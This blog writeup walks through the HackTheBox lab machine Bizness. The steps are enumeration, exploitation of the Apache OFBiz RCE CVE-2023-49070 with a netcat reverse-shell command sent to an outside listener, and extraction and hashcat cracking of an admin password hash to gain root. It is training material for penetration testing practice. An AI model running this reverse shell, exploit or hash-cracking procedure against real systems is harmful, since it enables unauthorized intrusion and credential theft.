Post

HackTheBox Bizness

Writeup for HackTheBox Bizness

HackTheBox Bizness

Machine Synopsis

Bizness is an easy Linux machine showcasing an Apache OFBiz pre-authentication, remote code execution (RCE) foothold, classified as [CVE-2023-49070](https://nvd.nist.gov/vuln/detail/CVE-2023-49070). The exploit is leveraged to obtain a shell on the box, where enumeration of the OFBiz configuration reveals a hashed password in the service's Derby database. Through research and little code review, the hash is transformed into a more common format that can be cracked by industry-standard tools. The obtained password is used to log into the box as the root user. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ nmap -sV -sC 10.10.11.252

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open  ssl/http nginx 1.18.0
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Here is the website.

webpage

Performed directory enumeration using ffuf and found that there was a /control endpoint.

1
2
3
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u https://bizness.htb/FUZZ -ac
...
control                 [Status: 200, Size: 34633, Words: 10468, Lines: 492, Duration: 217ms]

webpage_control

Performed further directory enumeration on this endpoint and found some other interesting endpoints.

1
2
3
4
5
6
7
8
$ ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt -u https://bizness.htb/control/FUZZ -ac
...
help                    [Status: 200, Size: 10756, Words: 1182, Lines: 180, Duration: 512ms]
logout                  [Status: 200, Size: 10756, Words: 1182, Lines: 180, Duration: 570ms]
login                   [Status: 200, Size: 11060, Words: 1236, Lines: 186, Duration: 989ms]
view                    [Status: 200, Size: 9308, Words: 913, Lines: 141, Duration: 512ms]
main                    [Status: 200, Size: 9308, Words: 913, Lines: 141, Duration: 378ms]
views                   [Status: 200, Size: 9308, Words: 913, Lines: 141, Duration: 173ms]

webpage_control_login

Browsing the /login endpoint resulted in an interesting information in the webpage footer.

In the footer of the webpage: Powered by Apache OFBiz. Release 18.12

1
2
# To use images
![image](/assets/img/HackTheBox/NAMEOFMACHINE/image.png)

Exploitation

This Apache OFBiz version is vulnerable to CVE-2023-51467 and CVE-2023-49070.

Searching for Apache OFBiz 18.12 exploit resulted in this Github repository.

1
2
3
4
5
6
7
8
9
10
11
12
13
$ python3 exploit.py --url "https://bizness.htb/" --cmd "nc 10.10.14.11 9001 -e /bin/bash"
[+] Generating payload...
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.

$ nc -nlvp 9001
listening on [any] 9001 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.252] 50664
whoami
ofbiz
/usr/bin/script -qc /bin/bash /dev/null
ofbiz@bizness:/opt/ofbiz$ 

Privilege Escalation

Analyzed the Dockerfile and noticed that there is a docker-entrypoint.sh file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ofbiz@bizness:/opt/ofbiz$ cat Dockerfile
...
RUN ["useradd", "ofbiz"]
...
RUN ["/usr/bin/chown", "-R", "ofbiz:ofbiz", "/docker-entrypoint-hooks" ]

USER ofbiz
WORKDIR /ofbiz

...

# Leave executable scripts owned by root and non-writable, addressing sonarcloud rule,
# https://sonarcloud.io/organizations/apache/rules?open=docker%3AS6504&rule_key=docker%3AS6504
COPY --chmod=555 docker/docker-entrypoint.sh docker/send_ofbiz_stop_signal.sh .

COPY --chmod=444 docker/disable-component.xslt .
COPY --chmod=444 docker/templates templates

EXPOSE 8443
EXPOSE 8009
EXPOSE 5005

ENTRYPOINT ["/ofbiz/docker-entrypoint.sh"]
CMD ["bin/ofbiz"]
...

Browse to the docker-entrypoint.sh file and observed that there is a code function which loads a salted SHA-1 hash of the admin username and password and overwrites the value in framework/resources/templates/AdminUserLoginData.xml.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
ofbiz@bizness:/opt/ofbiz/docker$ cat docker-entrypoint.sh
#!/usr/bin/env bash
...

###############################################################################
# Create and load the password hash for the admin user.
load_admin_user() {
  if [ ! -f "$CONTAINER_ADMIN_LOADED" ]; then
    TMPFILE=$(mktemp)

    # Concatenate a random salt and the admin password.
    SALT=$(tr --delete --complement A-Za-z0-9 </dev/urandom | head --bytes=16)
    SALT_AND_PASSWORD="${SALT}${OFBIZ_ADMIN_PASSWORD}"

    # Take a SHA-1 hash of the combined salt and password and strip off any additional output form the sha1sum utility.
    SHA1SUM_ASCII_HEX=$(printf "$SALT_AND_PASSWORD" | sha1sum | cut --delimiter=' ' --fields=1 --zero-terminated | tr --delete '\000')

    # Convert the ASCII Hex representation of the hash to raw bytes by inserting escape sequences and running
    # through the printf command. Encode the result as URL base 64 and remove padding.
    SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
    SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')

    # Concatenate the hash type, salt and hash as the encoded password value.
    ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"

    # Populate the login data template
    sed "s/@userLoginId@/$OFBIZ_ADMIN_USER/g; s/currentPassword=\".*\"/currentPassword=\"$ENCODED_PASSWORD_HASH\"/g;" framework/resources/templates/AdminUserLoginData.xml >"$TMPFILE"

    # Load data from the populated template.
    /ofbiz/bin/ofbiz --load-data "file=$TMPFILE"

    rm "$TMPFILE"

    touch "$CONTAINER_ADMIN_LOADED"
  fi
}
...

Browse to the xml file and found the default value of the admin password that will be overwritten.

1
2
3
4
5
6
ofbiz@bizness:/opt/ofbiz$ cat framework/resources/templates/AdminUserLoginData.xml
...
<entity-engine-xml>
    <UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
    <UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
</entity-engine-xml>

Run a command which grep all instance of currentPassword= and then filter away any instance of the value 47ca69ebb4bdc9ae0adec130880165d2cc05db1a.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ofbiz@bizness:/opt/ofbiz$ grep -arl 'currentPassword=' . | xargs grep -lav '47ca69ebb4bdc9ae0adec130880165d2cc05db1a'
./applications/datamodel/data/demo/WorkEffortDemoData.xml
./applications/datamodel/data/demo/HumanresDemoData.xml
./applications/datamodel/data/demo/MarketingDemoData.xml
./applications/datamodel/data/demo/PartyDemoData.xml
./applications/datamodel/data/demo/ProductDemoData.xml
./applications/datamodel/data/demo/OrderDemoData.xml
./applications/datamodel/data/demo/ContentDemoData.xml
./applications/datamodel/data/demo/AccountingDemoData.xml
./runtime/data/derby/ofbiz/seg0/c54d0.dat
./framework/resources/templates/AdminUserLoginData.xml
./framework/security/data/PasswordSecurityDemoData.xml
./build/distributions/ofbiz.tar
./docker/docker-entrypoint.sh
./plugins/example/testdef/assertdata/TestUserLoginData.xml
./plugins/ebaystore/data/DemoEbayStoreData.xml
./plugins/ecommerce/data/DemoPurchasing.xml
./plugins/webpos/data/DemoRetail.xml
./plugins/scrum/data/scrumDemoData.xml
./plugins/myportal/data/MyPortalDemoData.xml
./plugins/projectmgr/data/ProjectMgrDemoPasswordData.xml

The command searches recursively through the current directory and its subdirectories for files containing the string 'currentPassword='.

It then lists the filenames that contain 'currentPassword=' and do not contain '47ca69ebb4bdc9ae0adec130880165d2cc05db1a'.

There seems to be an interesting file named c54d0.dat and there is a salted hash in this file.

1
2
ofbiz@bizness:/opt/ofbiz$ grep -ia 'currentPassword=' ./runtime/data/derby/ofbiz/seg0/c54d0.dat
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>

Recall that the salted hash is in the format $SHA${SALT}${SHA1SUM_BASE64}.

Decoded the SHA1SUM_BASE64 to hash b8fd3f41a541a435857a8f3e751cc3a91c174362 using CyberChef.

To use hashcat -m 120, the ${SALT} d needs to be indicated at the end of the hash.

1
2
3
4
5
6
7
cat hash
b8fd3f41a541a435857a8f3e751cc3a91c174362:d
❯ hashcat -a 0 -m 120 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness  
...

Login as root with the cracked password.

1
2
3
ofbiz@bizness:/opt/ofbiz$ su root
Password: monkeybizness
root@bizness:/opt/ofbiz# 
This post is licensed under CC BY 4.0 by the author.